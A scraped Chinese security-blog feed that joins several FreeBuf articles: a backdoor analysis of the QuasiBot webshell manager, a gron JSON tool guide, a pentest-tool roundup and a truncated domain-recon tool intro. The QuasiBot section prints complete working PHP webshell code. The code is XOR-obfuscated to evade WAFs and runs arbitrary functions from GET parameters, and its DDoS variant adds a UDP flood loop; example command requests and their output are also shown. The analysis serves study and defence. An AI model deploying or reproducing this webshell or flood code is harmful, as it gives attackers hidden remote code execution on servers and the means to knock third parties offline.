QuasiBot是一款php編寫的webshell管理工具,可以對webshell進行遠程批量管理。這個工具超越于普通的webshell管理是因為其還擁有安全掃描、漏洞利用測試等功能,可以幫助滲透測試人員進行高效的測試工作。

更多信息:http://www.freebuf.com/tools/40411.html
項目地址:https://github.com/Smaash/quasibot

批量Webshell管理工具QuasiBot之后門代碼分析

三、分析

1. 非DDoS版

首先給出 "非DDoS" 版本的后門代碼:

<?php if($_GET['_']) {     print "<!--".$_="{:|";$_=($_^"<").($_^">").($_^"/");${'_'.$_}["_"](${'_'.$_}["__"]);     print "{:|".md5("666".date("h:d"))."{:|".PHP_OS."{:|-->"; } elseif($_GET['___']) {      @$_GET['___']();  } ?>

格式化一下,顯得比較清晰:

<?php if($_GET['_']) {     print "<!--".$_="{:|";     $_=($_^"<").($_^">").($_^"/");     ${'_'.$_}["_"](${'_'.$_}["__"]);     print "{:|".md5("666".date("h:d"))."{:|".PHP_OS."{:|-->"; } elseif($_GET['___']) {      @$_GET['___']();  } ?>

首先來分析一下代碼結果,QuasiBot的后門代碼十分簡單,由一個 "if…elseif…" 構成。
可以看到 "elseif($_GET['___'])" 直接運行從Get請求過來的參數 "___" 的函數。例如這里后門地址為:"http://www.virtual.com/ma.php",那么構造如下請求就會讓后門代碼去執行 "phpinfo()" 函數來獲取系統的相關信息。

    http://www.virtual.com/ma.php?___=phpinfo

然后再看第一個 "if($_GET['_'])" 部分,當有參數 "__" 傳入時進入條件:

<?php if($_GET['_']) {     print "<!--".$_="{:|";     $_=($_^"<").($_^">").($_^"/");     ${'_'.$_}["_"](${'_'.$_}["__"]);     print "{:|".md5("666".date("h:d"))."{:|".PHP_OS."{:|-->"; } ... ?>

根據代碼可以看出,QuasiBot將通過后門執行的輸出都放到 "response" 的注釋 "<!– … –>" 里去了,這里有一定的隱藏效果。注意這里 "print "<!–".$_="{:|";" 這里對 $_ 變量進行了賦值,然后是通過字符的異或運算連接起一個 ""GET"" 字符串:

    $_=($_^"<").($_^">").($_^"/");

"$_^"<"" 會將 $_ 變量的第一個字符的ascii碼與&#039;<&#039;的ascii碼 進行異或,也就是 "123"'{'的ascii碼) 與 "60"('<'的ascii碼)進行異或:

    123^60 ==> 71 ('G')

得到ascii碼 "71" 也就是字符 ""G"",通過相同方法構造出 ""E"" 和 ""T"",然后將其連接構成字符串 ""GET""。
然后根據php中的一個變量引用特性,以 "${'_GET'}["__"]" 作為參數調用函數 "${'_GET'}["_"]()"。
這里的函數執行涉及到了php中 "動態函數調用" 和 "花括號{}使用" 的trcik。
《常用PHP中花括號使用規則詳解》這篇文章比較詳細的講了在php中 "{}" 使用時需要注意的地方。
給出一個簡單易懂的例子說明一下 "動態函數調用",看下面這段代碼 "demo.php":

<?php $func = "demo"; function demo() {     echo "Demo on!" } $func(); ?>

這里為了方便,直接在終端使用php執行該腳本文件,執行 "php demo.php" 得到輸出 "Demo on!"。
看了這個demo.php再結合 "{}" 的使用就很容易理解后門中的這段代碼: "${'_GET'}["__"](${'_GET'}["_"])" 。
寫得明顯點就是:"$_GET["_"]($_GET["__"])"。
簡單明了的QuasiBot非DDoS后門代碼:

<?php if($_GET['_']) {     print "<!--{:|";     $_GET["_"]($_GET["__"]);     print "{:|".md5("666".date("h:d"))."{:|".PHP_OS."{:|-->"; } elseif($_GET['___']) {      @$_GET['___']();  } ?>

例如在win下要執行 "system'dir')",后門url為:http://www.virtual.com/ma.php,那么請求:http://www.virtual.com/ma.php?_=system&__=dir

在返回頁面的源碼里,得到如下內容:

    <!--{:| 驅動器 D 中的卷沒有標簽。      卷的序列號是 2EE6-3EE0      D:/PhpStudy/WWW 的目錄     2014/12/03  21:05    <DIR>          .     2014/12/03  21:05    <DIR>          ..     2014/12/03  21:05    <DIR>          discuz     2014/11/10  22:43    <DIR>          Documentation     2014/11/22  02:13               431 function.php     2014/12/04  17:37               226 ma.php     2014/11/19  22:38    <DIR>          mybb     2014/11/20  12:53    <DIR>          mybb1     2014/10/21  17:11    <DIR>          phpMyAdmin     2014/11/25  23:52    <DIR>          phpMyRecipes     2014/11/25  14:59    <DIR>          phpok     2014/11/15  11:36    <DIR>          piwigo     2014/11/14  14:04    <DIR>          qibomenhu     2014/11/26  08:55    <DIR>          quasibot     2014/11/27  11:50    <DIR>          rocboss     2014/11/21  00:25    <DIR>          sqli     2014/11/14  15:59    <DIR>          thinksns     2014/11/10  22:43    <DIR>          Tools     2014/11/10  22:44    <DIR>          upload     2014/12/03  19:36               256 upload.php     2014/11/22  12:54    <DIR>          wordpress                    3 個文件            913 字節                   18 個目錄 35,217,747,968 可用字節     {:|7d9f82db8d7d8b1ed3fda323040e671a{:|WINNT{:|-->

命令成功執行,其他比較細節的分析這里就不在多說了,有興趣的可以自行總結。

??2. DDoS版??
DDoS版后門代碼如下(代碼有點長):

<?php if($_GET['_']) { print "<!--".$_="{:|";$_=($_^"<").($_^">").($_^"/");${'_'.$_}["_"](${'_'.$_}["__"]); print "{:|".md5("666".date("h:d"))."{:|".PHP_OS."{:|-->"; } elseif($_GET['___']) { @$_GET['___'](); } elseif(isset($_POST['target'])&&isset($_POST['time'])){$fn0=0;$pm1=$_POST['time'];$yu2=time();$az3=$yu2+$pm1;$jd4=$_POST['target'];$kb5=gethostbyname($jd4);for($pt6=0;$pt6<65553;$pt6++){$yf7.='X';}while(1){$fn0++;if(time()>$az3){break;}$yw8=rand(1,65553);$vl9=fsockopen('udp://'.$kb5,$yw8,$ic10,$yf11,5);if($vl9){fwrite($vl9,$yf7);fclose($vl9);}}}elseif($_POST['kill']=='1'){exit(0);} ?>

格式化一下:

<?php if($_GET['_']) {     print "<!--".$_="{:|";$_=($_^"<").($_^">").($_^"/");${'_'.$_}["_"](${'_'.$_}["__"]);     print "{:|".md5("666".date("h:d"))."{:|".PHP_OS."{:|-->"; } elseif($_GET['___') {     @$_GET['___'](); } elseif(isset($_POST['target'])&&isset($_POST['time'])) {      $fn0=0;     $pm1=$_POST['time'];     $yu2=time();     $az3=$yu2+$pm1;     $jd4=$_POST['target'];     $kb5=gethostbyname($jd4);     for($pt6=0;$pt6<65553;$pt6++) {         $yf7.='X';     }     while(1) {         $fn0++;         if(time()>$az3) {             break;         }         $yw8=rand(1,65553);         $vl9=fsockopen('udp://'.$kb5,$yw8,$ic10,$yf11,5);         if($vl9) {             fwrite($vl9,$yf7);             fclose($vl9);         }     } } elseif($_POST['kill']=='1') {     exit(0); } ?>

前面部分的參數判斷這里就不講解了,請參照"非DDoS版"的分析。直接看DDoS代碼部分,這里通過 "$_POST['target']" 來獲取目標,"$_POST['time']" 為攻擊持續的時間(這里以秒為單位)。
接下來就是一系列的準備工作,構造 "65553" 字節的超長數據通過 "udp" 的方式向目標隨機端口打流量(為哈要隨機端口,沒懂)。
構造 "65553" 字節的數據:

    for($pt6=0;$pt6<65553;$pt6++) {         $yf7.='X';     }

隨機生成端口號(最大不應該是65535?):
    $yw8=rand(1,65553);
創建socket并發送數據:

    $vl9=fsockopen('udp://'.$kb5,$yw8,$ic10,$yf11,5);     if($vl9) {         fwrite($vl9,$yf7);         fclose($vl9);     }

至此 "QuasiBot" 兩種模式的后面簡單剖析完畢。值得學習的是該后門代碼對php特性的運用,整個后門代碼("非DDoS版")沒有出現任何較敏感的關鍵字,能繞過大多數通過關鍵字檢測的waf(未驗證,目測。不要拍磚)。

其中DDoS部分,沒太明白為何是隨機端口發送,持續跟進下。

[本文作者RickGray,FreeBuf獨家發布文章,未經許可禁止轉載]

]]>
http://www.aycelz.tw/1259.html/feed 0
GRON:一款讓使JSON可以Grep的工具 http://www.aycelz.tw/1257.html http://www.aycelz.tw/1257.html#respond Wed, 10 Jan 2018 02:14:23 +0000 http://www.aycelz.tw/1257.html

今天給大家介紹一款名叫gron的JSON數據檢索工具,gron不僅可以將目標JSON數據進行離散化拆分,并能夠讓用戶更加輕松地使用grep來對數據進行搜索,而且它還能夠允許用戶查看到數據的絕對路徑。

GRON:一款讓使JSON可以Grep的工具

工具下載

下載地址:【GitHub傳送門

使用樣例

gron的使用樣例如下:

?gron "https://api.github.com/repos/tomnomnom/gron/commits?per_page=1"| fgrep "commit.author" json[0].commit.author= {}; json[0].commit.author.date= "2016-07-02T10:51:21Z"; json[0].commit.author.email= "mail@tomnomnom.com"; json[0].commit.author.name= "Tom Hudson";

gron還可以逆向工作,即它能夠將你所提供的數據轉換成JSON格式:

?gron "https://api.github.com/repos/tomnomnom/gron/commits?per_page=1"| fgrep "commit.author" | gron --ungron [ { "commit": { "author": { "date":"2016-07-02T10:51:21Z", "email":"mail@tomnomnom.com", "name": "TomHudson" } } } ]

工具安裝

gron的使用不需要任何的運行時依賴,你可以直接從gron的Github庫【傳送門】中下載針對不同操作系統的代碼版本,目前該工具支持Linux、Mac、Windows或FreeBSD等平臺。你可以直接將項目代碼拷貝到自己的執行路徑(例如$PATH或/usr/bin)中,以方便使用:

?tar xzf gron-linux-amd64-0.1.5.tgz ?sudo mv gron /usr/bin/

如果你使用的是macOS,你還可以通過brew來安裝gron:

?brew install gron

或者說,如果你使用Go,你還可以使用go get命令來完成gron的安裝(Go v1.7或更高版本):

? go get -u github.com/tomnomnom/gron

工具使用

從文件中讀取JSON數據:

?gron testdata/two.json json= {}; json.contact= {}; json.contact.email= "mail@tomnomnom.com"; json.contact.twitter= "@TomNomNom"; json.github= "https://github.com/tomnomnom/"; json.likes= []; json.likes[0]= "code"; json.likes[1]= "cheese"; json.likes[2]= "meat"; json.name= "Tom";

從URL資源獲取JSON數據:

?gron http://headers.jsontest.com/ json= {}; json.Host= "headers.jsontest.com"; json["User-Agent"]= "gron/0.1"; json["X-Cloud-Trace-Context"]= "6917a823919477919dbc1523584ba25d/11970839830843610056";

從stdin獲取JSON數據:

?curl -s http://headers.jsontest.com/ | gron json= {}; json.Accept= "*/*"; json.Host= "headers.jsontest.com"; json["User-Agent"]= "curl/7.43.0"; json["X-Cloud-Trace-Context"]= "c70f7bf26661c67d0b9f2cde6f295319/13941186890243645147";

使用grep命令搜索目標數據并查看路徑:

?gron testdata/two.json | grep twitter json.contact.twitter= "@TomNomNom";

gron還可以結合diff命令一起使用:

?diff <(gron two.json) <(gron two-b.json) 3c3 <json.contact.email = "mail@tomnomnom.com"; --- >json.contact.email = "contact@tomnomnom.com";

gron的輸出為有效的JavaScript:

?gron testdata/two.json > tmp.js ?echo "console.log(json);" >> tmp.js ?nodejs tmp.js {contact: { email: 'mail@tomnomnom.com', twitter: '@TomNomNom' }, github: 'https://github.com/tomnomnom/', likes: [ 'code', 'cheese', 'meat' ], name: 'Tom' }

Ungronning

gron還可以將它的輸出數據轉換為JSON格式:

?gron testdata/two.json | gron -u{ "contact": { "email":"mail@tomnomnom.com", "twitter": "@TomNomNom" }, "github":"https://github.com/tomnomnom/", "likes": [ "code", "cheese", "meat" ], "name": "Tom" }

這也就意味著,你可以使用gron配合grep以及其他的工具來修改JSON數據:

?gron testdata/two.json | grep likes | gron --ungron { "likes": [ "code", "cheese", "meat" ] }

在保存數組鍵值時,如果值為空的話,gron將會以“null“填充數組:

?gron testdata/two.json | grep likes | grep -v cheese json.likes= []; json.likes[0]= "code"; json.likes[2]= "meat"; ?gron testdata/two.json | grep likes | grep -v cheese | gron --ungron { "likes": [ "code", null, "meat" ] }

關于gron的高級使用技巧,請參考【這篇文檔】。

獲取幫助信息

?gron --help TransformJSON (from a file, URL, or stdin) into discrete assignments to make itgreppable Usage: gron [OPTIONS] [FILE|URL|-] Options: -u, --ungron     Reverse the operation (turn assignmentsback into JSON) -c, --colorize   Colorize output (default on tty) -m, --monochrome Monochrome (don't colorizeoutput) -s, --stream     Treat each line of input as a separateJSON object -k, --insecure   Disable certificate validation --no-sort    Don't sort output (faster) --version    Print version information ExitCodes: 0  OK 1  Failedto open file 2  Failedto read input 3  Failedto form statements 4  Failedto fetch URL 5  Failedto parse statements 6  Failedto encode JSON Examples: gron /tmp/apiresponse.json gron http://jsonplaceholder.typicode.com/users/1 curl -shttp://jsonplaceholder.typicode.com/users/1 | gron gronhttp://jsonplaceholder.typicode.com/users/1 | grep company | gron –ungron

* 參考來源:gron,FB小編Alpha_h4ck編譯,轉載于FreeBuf

]]>
http://www.aycelz.tw/1257.html/feed 0
年度盤點 | 安全測試者偏愛的安全測試工具 http://www.aycelz.tw/1255.html http://www.aycelz.tw/1255.html#respond Tue, 09 Jan 2018 02:11:28 +0000 http://www.aycelz.tw/1255.html

國外網站 Concise Courses 總結了安全測試者常用且好用的安全測試工具,本文摘錄并分類整理列舉一二,供安全從業者與愛好者參考。

年度盤點 | 安全測試者偏愛的安全測試工具

無線類

1. Metasploit (免費)

2003年,美國網絡安全研究員兼開發者 Moore 啟動了 Metasploit 項目,目的是創建一個開源平臺,獲取 Exploit 代碼用于研究與開發。隨后,Metasploit 框架得以開發與發展,目前已經成為廣泛用于滲透測試和研究的開源漏洞利用框架。2009 年,Metasploit 被 Rapid7 公司收購,但直到 2013 年,仍然由 HD 管理。Metasploit 的受歡迎程度無需細說,這個框架已經被翻譯成數十種語言,基本每個安全從業者都對此有所了解和研究。

Metasploit 原框架是免費的,但 Rapid 7 收購之后,新的 Metasploit Pro 和 Metasploit Express 版本都需要收費。當然,后兩者的功能也更豐富,能夠為中小企業和企業級組織提供安全項目和高級滲透測試等完整安全解決方案,在 IT 安全審計中也廣泛使用。所有的 Metasploit 版本都可在 Unix(包括Linux和Mac OS X)和 Windows 上運行。

 年度盤點 | 安全測試者偏愛的安全測試工具

Metasploit 主要有五大用途:

A.選擇和配置漏洞利用代碼,可以為 Windows,Unix / Linux 和 Mac OS X 系統提供近 1000 個漏洞

B.檢查目標

C. 選擇并配置要發送到目標的有效載荷(如遠程外殼或VNC服務器)。

D. 繞過IDS / IPS系統(Intruston檢測系統)

E. 執行利用

2. Wifiphisher(免費)

Wifiphisher 可以對無線 WiFi網絡執行快速的自動釣魚測試,借以發現賬戶和密碼憑據。Wifiphisher 的特色在于它使用了社交工程攻擊,其主要利用過程為:Wifiphisher 從用戶合法的 AP 中取消用戶的身份驗證,再讓用戶驗證實現攻擊所必須的 Evil Twin AP。隨后, Wifiphisher 將通過代理向用戶提供一個 HTML 網頁,通知用戶固件升級已經完成,并要求用戶再次進行認證。在這個過程中,用戶的無線密碼就已經泄露,而用戶則會毫不知情,繼續瀏覽網頁。

Wifiphisher 完全免費,可以從 GitHub 下載,支持 Kali Linux 系統,目前有一些用戶也可在其他平臺上使用這款工具,但還是 Linux 最安全。

當然,要想實現成功利用,用戶還需要配置支持“接入點”(AP)模式、且能夠在“監視器模式”下執行注入攻擊的無線網絡適配器。此外,設備驅動也應該支持網絡連接。

更多詳情可參考 FreeBuf 之前發布的相關文章

年度盤點 | 安全測試者偏愛的安全測試工具

密碼破解類

1. John the Ripper (免費)

John The Ripper 算是很有名的密碼破解(黑客)工具了。除了名字炫酷,John the Ripper 使用效果也很好,與 Metasploit 同屬于 Rapid7 家族。

在密碼分析中,密碼破解主要是指從計算機系統或網絡中存儲或已經傳輸的數據中恢復或竊取密碼的過程。最常見的密碼破解方式就是“暴力破解”,也就是計算機系統通過交叉檢查密碼的可用加密哈希來猜測正確密碼。而在明文密碼中,“暴力破解”則演變自“字典攻擊”。如果被猜測的密碼有哈希值,那么密碼破解獲得的就是“彩虹”表。這些過程已是眾所周知。而 John The Ripper 的優勢在于,可以離線破解密碼。

年度盤點 | 安全測試者偏愛的安全測試工具

John the Ripper 既有免費版本又有收費的“商業版本”。對密碼破解特定操作系統感興趣的滲透測試人員一般都會使用商業版本,其性能和速度都有所優化。對于普通用戶而言,開源免費版本的 John The Ripper 也夠用。核心用戶還可以在 Rapid7 官網獲取 Pro 版本。

John The Ripper 最初基于 Unix 系統開發,現在可各種平臺上運行。這些平臺中有 11 個是 DOS、Unix、BeOS、Win32 和 OpenVMS 的架構特定版本。

2. THC Hydra (免費)

THC Hydra 的知名程度也不需細說。使用 THC Hydra 可以對五十多種協議執行非常快速的字典攻擊。THC Hydra 主要通過 PoC 代碼實現,可輕松添加新模塊,讓遠程系統輕易獲得未經授權的訪問。其特點是快速高效,但需要穩定的網絡環境,只能在線使用,可將字典攻擊和暴力破解結合,在登錄頁面嘗試各種密碼和登錄組合。

THC Hydra 可免費使用,在Linux,Windows / Cygwin,Solaris,FreeBSD / OpenBSD,QNX(黑莓10)和OSX上都已經進行測試。

年度盤點 | 安全測試者偏愛的安全測試工具

3. Aircrack (免費)

Aircrack-ng 由數據包嗅探器、檢測器、WPA / WPA2-PSK 解密器、WEP 和用于 802.11 無線局域網的分析工具組成。Aircrack-ng 支持無線網絡接口控制器,驅動程序支持原始監控模式,可以嗅探 802.11a、802.11b 和 802.11g 流量。從 0.9 版本開始,Aircracl-ng 套件中就包含了由達姆施塔特理工大學某研究小組制作的新攻擊向量“PTW”,可以減少解密 WEP 密鑰所需初始化向量(IV)的數量。Aircrack-ng 的重點是無線安全領域。主要功能包括監視捕獲數據包,將數據導出到文本文件供第三方工具處理;重復攻擊;偽造接入點;使用數據包注入解除身份驗證;通過捕獲和注入來測試WiFi卡和驅動程序功能;破解 WPA 和 WPA PSK(WPA 1和WPA 2)。 

Aircrack-ng 可免費使用,網上有很多相關教程,其安裝教程可以看這里

Aircrack-ng 可以在 FreeBSD、OSX、Wubdows、OpenBSD 和 Linux 等多平臺上運行,其 Linux 版本已經打包為 OpenWrt 版本,并轉移到 Maemo、Zaurus 和 Android 平。目前,iPhone 也開放了 Aircrack-ng 的PoC 端口。

年度盤點 | 安全測試者偏愛的安全測試工具

端口掃描類

1. Nmap (免費) 

Nmap 的威力很多安全測試者都領略過。Nmap 是 Network Mapper 的縮寫。Nmap 可以檢查原始 IP 數據包、獲取網絡上可用的主機(服務器信息;了解主機正在使用的服務(應用程序名稱和版本)、操作系統(包括操作系統版本和可能的修補程序)以及目標正在使用的數據包過濾器/防火墻類型和版本。就連 Metasploit 也要借助 Nmap 進行網絡發現和安全審計。

此外,需要注意的是,Nmap 還有個 GUI 版本的 Zenmap。安全測試中在進行滲透測試時,可以直接使用 Zenmap,因為它可以預先加載所有命令行,不必在命令終端上輸入并運行 “nmap”來加載命令幫助提示。

年度盤點 | 安全測試者偏愛的安全測試工具

Nmap 完全免費,適用于所有主流計算機操作系統。其官方二進制包可用于 Linux、Windows、Mac OS X 和 AmigaOS。使用 Kali Linux 或 BackBox 可進行 Nmap 的快速安裝,因為二者隨 Nmap 一起提供,便于輕松更新程序。

2. NetScanTools (免費)

NetScanTools 是一個不同測試工具的集合,有助于進行互聯網信息收集和網絡故障排除。使用者可以利用 NetScanTools 自動研究 IPv4 和 IPv6 的地址、域名、主機名、電子郵件地址和 URL。這些自動化工具可由用戶自主啟動,也就是說,用戶可以同時使用幾種工具來進行研究,然后結果將顯示在 Web 瀏覽器中。對于網絡工程、網絡安全、網絡管理、網絡培訓、或網絡犯罪調查工作人員來說,NetScanTools 很有用。

NetScanTools 有免費版本也有商業版本,只在 Microsoft Windows 操作系統上運行。

年度盤點 | 安全測試者偏愛的安全測試工具

Web 漏洞掃描類

1. Burp Suite (免費)

FreeBuf 有一系列關于 Burp Suite 的文章和公開課,受到很多人的歡迎。

Burp Suite 其實是一個平臺,包含不同類型的工具,相互間有許多接口,連接便利,能加快滲透應用程序的進程。不同的工具共享相同的框架,用于顯示和處理 HTTP 消息、身份驗證、耐久性、日志記錄、警報、代理和可擴展性。更多詳情可以進入 FreeBuf 公開課查看學習。

Burp Suite 需要付費,但也有免費試用版可以使用,適用于 Linux、MAC OS X 和 Windows 操作系統。

年度盤點 | 安全測試者偏愛的安全測試工具

2. Nikto (免費)

Nikto 是一個開放源代碼的 Web 服務器掃描程序,可以在 Web 服務器上執行超過 6700 個潛在危險文件和程序的測試。也可在超過 2700 臺服務器上檢查 1250 多個舊服務器的版本和特定的版本問題。此外,Nikto 還可檢查服務器配置項目(如多個索引文件、HTTP 服務器選項等),還能嘗試識別已安裝的軟件和 Web 服務器。其插件和掃描項目經常可以自動更新。

其具體功能包括 SSL 支持;完整的 HTTP 代理支持;檢查過時的服務器組件;以XML、HTML、CSV 或 NBE 等各種格式保存報告;通過使用模板引擎輕松自定義報告;通過輸入文件在服務器或多服務器上掃描多個端口;識別通過頭文件、文件和圖標識別安裝的軟件;使用 NTLM 和 Basic 進行主機驗證;檢查常見的“parking”站點;在特定時間自動暫停等等。

年度盤點 | 安全測試者偏愛的安全測試工具

雖然 Nikto 并不可隱藏蹤跡,卻可以在盡可能快的時間內測試網絡服務器,還能支持 LibWhisker 的反 IDS方法。

其實,并非所有的檢查都是為了查找安全問題。但是安全工程師和網站管理員有時不知道他們的服務器上存在“僅檢查信息”類型的檢查。而通過使用 Nikto,這些“信息類型”的檢查會在打印出的信息中標記出來,還能掃描到另一些針對日志文件中未知項目的檢查。

Nikto 可免費使用。由于 Nikto 基于 perl,因此只在大多數安裝了 Perl 翻譯器的系統上運行。

加密類

1. Gnupg PGP(免費)

GnuPG(也叫 PGP)是 Phil Zimmerman 編寫的加密系統,只能通過命令行控制運行,有成千上萬的安全專家使用。能幫助用戶加密、簽署數據與通信信息,保護數據免受風險。GnuPG 還附帶一個有效的密鑰管理系統,可管理所有類型的公共密鑰目錄。此外,GNuPG 可與 S / MIME 和Secure Shell(ssh)等多個應用程序一起使用。

GnuPG 也被視為 PGP 標準的開源實例,是 OpenPGP(也被稱為 RFC4880 或 PGP)的免費版本,可在 Linux、Microsoft Windows 和 Mac OS X 上運行。

年度盤點 | 安全測試者偏愛的安全測試工具

2. Keepass(免費)

Keepass 是一款開源的密碼管理器,支持高級加密標準和Twofish算法,可以存儲多個密碼,并使用一個主密碼解鎖。也就是說,只需要記住一個強密碼,就能記住不同賬戶的不同密碼。使用 keepass,還能在網頁表單中自動填寫密碼。Keepass 使用時不需要安裝,因此可以用 USB 等設備攜帶,非常方便。此外,Keepass 還能將數據庫從一臺計算機傳輸到另一臺計算機,并幫助用戶生成強密碼。

年度盤點 | 安全測試者偏愛的安全測試工具

3. Openvpn (免費)

OpenVPN 是由 OpenVPN Technologies 開發的工具,遵循傳統 VPN 原則,下載量超過 300 萬次,可以讓同行使用共享的密鑰、用戶名、密碼或證書相互驗證。如果用戶在多客戶端服務器配置環境中使用 Openvpn,則將允許服務器為每個客戶端發布身份驗證證書。 該工具還為用戶提供了一個可擴展框架,旨在簡化特定于站點的定制。

OpenVPN 軟件免費,能在 Linux、Windows 和 MAC OS X 系統上運行,也可在手機端使用。

年度盤點 | 安全測試者偏愛的安全測試工具

防火墻類

1. Netfilter (免費)

Netfilter 是一款經典的防火墻滲透測試工具,其核心用途是在 Linux 2.4.x 及更高版本內核中過濾數據包、網絡地址、端口、(NA [P] T協議內的)轉譯內容和其他數據包審計。Netfilter 相當于 Linux 內核中的一系列 hook,可以讓內核模塊在網絡堆棧中執行回調函數。然后回調網絡堆棧內遍歷相應 hook 的每個包內注冊的回調函數。

Netfilter 涉及到 iptables,iptables 是一個用于定義規則集的通用表結構。 IP 表中的每個規則由多個分類器(iptables matches)和一個連接的動作(iptables target)組成。 Netfilter、ip_tables、連接跟蹤(ip_conntrack,nf_conntrack)和 NAT 子系統共同構建起 Netfilter 框架。

Netfilter 可免費試用,但是只適用于 Linux 系統。

年度盤點 | 安全測試者偏愛的安全測試工具

2. OpenBSD PF (免費)

OpenBSD PF 可用于過濾 TCP/IP 流量并運行 Network Address Translation,還能對 TCP/IP 流量進行規范化和調整,并提供帶寬控制和數據包優化。OpenBSD PF 還可實現被動操作系統檢測等功能。

OpenBSD 3.0 版本之后,包過濾已經成為“GENERIC OpenBSD 內核”的一部分。以前的 OpenBSD 內核版本附帶不同的防火墻/ NAT,但現在的版本已經不再支持這個功能。

OpenBSD PF 完全免費,只適用于Linux操作系統。

年度盤點 | 安全測試者偏愛的安全測試工具

入侵檢測類

1. OSSIM(免費)

OSSIM 有助于安全從業者處理 SIEM 相關的問題:事件收集、規范化和事件關聯等。OSSIM 主要用于對一系列工具進行匯編。這些工具如果聯合使用,可以讓安全管理員和網絡管理員詳細了解主機、物理訪問設備、網絡和服務器的各個方面。事實上,OSSIM 包含 OSSEC HIDS 和 Nagios 等多個工具的功能。由于 OSSIM 由安全工程師開發,所以也融入了安全專業人員的實際經驗:如果沒有采取安全可視化所必須的基本安全控制,SIEM 就是無效的。在這種理念的指導下,OSSIM 更加有用、有效。

OSSIM 可免費使用,僅適用于Linux操作系統。

年度盤點 | 安全測試者偏愛的安全測試工具

2. OSSEC HIDS (免費)

OSSEC HIDS 基于可擴展且開源的主機,是一個多平臺入侵檢測系統,具有強大的關聯能力和分析引擎功能,可以實現完整性檢查、日志分析、基于時間的警報、日志分析和主動響應。OSSEC HIDS 通常用作 SEM/SIM 解決方案,且由于其強大的日志分析引擎功能,許多大學、ISP 提供商和公司都在使用 OSSEC HIDS 監視和分析其 IDS、防火墻、身份驗證日志和 Web 服務器。

OSSEC HIDS 可免費使用,適用于大多數操作系統,包括 Linux、MacOS、Solaris、HP-UX、AIX 和 Windows。

年度盤點 | 安全測試者偏愛的安全測試工具

Debugger 類

1. GDB:GNU Project Debugger  (免費)

GDB(GNU project Debugger)允許用戶審核并發現運行中的 web 應用或程序(軟件)所執行的內容。GDB 可以幫助開發人員或程序員查找他們所開發的應用或程序崩潰的原因,也有助于檢測代碼中是否存在漏洞。GDB 主要有四大用途:檢測程序啟動時的狀況,詳細檢測可能影響程序運行的任何事情;檢測在特定的階段或特定的時間停止程序時的狀況;研究并解釋程序停止正常工作的原因;改變程序中的內容,便于修復 bug。

GDB 是符合 GNU 通用公共許可證的免費工具,且在 DBX 調試器之后建模,可在許多類 Unix 系統上運行,適用于包括 C、C ++、Ada、Free Pascal、Fortan、Java 等在內的多種編程語言。

年度盤點 | 安全測試者偏愛的安全測試工具

2. IDA Pro (免費)

IDA 是一個多平臺(包括 Linux)多處理器反匯編程序及調試工具,經常被程序員和開發人員用于調試應用程序、評估不正常運行的代碼。此外,IDA Pro 可幫助用戶分析可能存在的漏洞。IDA Pro 相當于多目標反匯編器和多目標調試器。其中,多目標反匯編器是一個針對大量處理器的反匯編模塊,具有完整的可擴展性和交互性,并且盡可能接近高級源代碼。而多目標調試器是一個調試器,可以針對反匯編器收集的數據進行動態分析,還具備調試器的完整功能。IDA Pro 的開發者表示,“IDA 反匯編程序盡可能地接近原始源代碼”,因此廣受歡迎。

IDA Pro 最新完整版本是商業版本,需要收費,不過其早期的低配版本(版本 5.0 及以下)可以免費下載,所有版本適用于 Windows,Linux 和 macOS X 操作系統。

年度盤點 | 安全測試者偏愛的安全測試工具

3. Immunity Debugger (免費)

Immunity CANVAS 測試工具可用于測試系統是否安全。這個工具附帶特意設計的漏洞利用模塊,可用于發現 exploit。Immunity CANVAS 可幫助企業具體了解其系統安全概況。

具體來說,Immunity Debugger 可用于分析惡意軟件,編寫 exploit 和逆向工程的二進制文件。這個工具建立在一個包括函數圖形的可靠用戶界面上,是業界第一個只用于堆創建的分析工具。此外,Immunity Debugger 還是 Python API,易于擴展。

Immunity Debugger 支持所有 Windows 操作系統。

年度盤點 | 安全測試者偏愛的安全測試工具

4. OllyDbg (免費)

OllyDbg 是一個可以分析調試器的 32 位匯編器。由于采用二進制代碼分析,因此在源不可用的情況下,使用 OllyDbg 分析就很有用。OllyDbg 擁有良好的用戶界面,具有追蹤寄存器、循環、進程、API 調用以及高級代碼分析功能,能夠識別程序、開關語句、表格、常量和字符串等,還能用于調試 DLL。 OllyDbg 還能調試多線程應用程序,并可以添加到正在運行的程序中。OllyDbg 完全支持 Unicode,并動態識別 ASCII 和 Unicode 字符串。

OllyDbg 的所有官方版本都是免費的,但源代碼并未公開。它只適用于 Windows 系統,且不可在 Win32s 上運行。

年度盤點 | 安全測試者偏愛的安全測試工具

5. WinDbg (免費) 

WinDbg 與 OllyDbg 類似,是微軟發布的 Windows 多用途調試器。WinDbg 基于 GUI 應用程序運行,主要可在 Windows 操作系統遇到崩潰或其他“藍屏死機”的情況下調試內存轉儲,也可用于調試用戶模式的應用程序、驅動程序和操作系統本身(內核模式下調試),還能夠通過匹配各種條件(例如,時間戳、CRC、單個甚至多處理器版本),從服務器自動加載調試符號文件(例如 PDB 文件)。

WinDbg 所有官方版本都是免費的,只適用于 Windows 操作系統。值得注意的是,許多 WinDbg 用戶也傾向于使用 Visual Studio 調試器。 

年度盤點 | 安全測試者偏愛的安全測試工具

應用掃描工具

1. NTBScan (免費)

NTBScan 需要命令行控制運行,掃描本地或遠程 TCP/IP 網絡上打開的 NETBIOS 域名服務器。 NBTScan 基于標準 Windows 工具 nbtstat 的功能和處理結構,但是可以在大部分 IP 地址上運行。NTBScan 的作者表示,由于以前的類似工具只能在 Windows 平臺上運行,所以就開發了 NBTScan,便于在多個主流平臺上運行。

NTBScan 用簡便的 C 語言編寫,大小不足 40 KB,也不需要特殊的庫或 DLL,在 MS-DOS 命令窗口中運行。此外,NTBScan 也適用于Linux!

年度盤點 | 安全測試者偏愛的安全測試工具 

2. THC Amap (免費)

THC Amap 的主要作者和開發人員表示,THC Amap 是第一個可以進行應用程序協議檢測的工具。但是相比之下,nmap -sV 命令更適合進行應用程序指紋識別。

年度盤點 | 安全測試者偏愛的安全測試工具

*參考來源:concise courses,AngelaY 編譯整理,轉載于 FreeBuf 

]]>
http://www.aycelz.tw/1255.html/feed 0
用Golang寫的域名信息搜集工具 http://www.aycelz.tw/1253.html http://www.aycelz.tw/1253.html#respond Tue, 09 Jan 2018 01:20:18 +0000 http://www.aycelz.tw/1253.html 用Golang寫的域名信息搜集工具

blacksheepwall是一款由Go語言編寫的域名信息搜集工具 ,你也可以在你的工具中將它作為一個獨立軟件包來使用。

下載

blacksheepwall支持跨平臺,目前它所支持的系統有windows、linux以及蘋果的darwin。你可以在這里下載到不同版本的二進制軟件包。

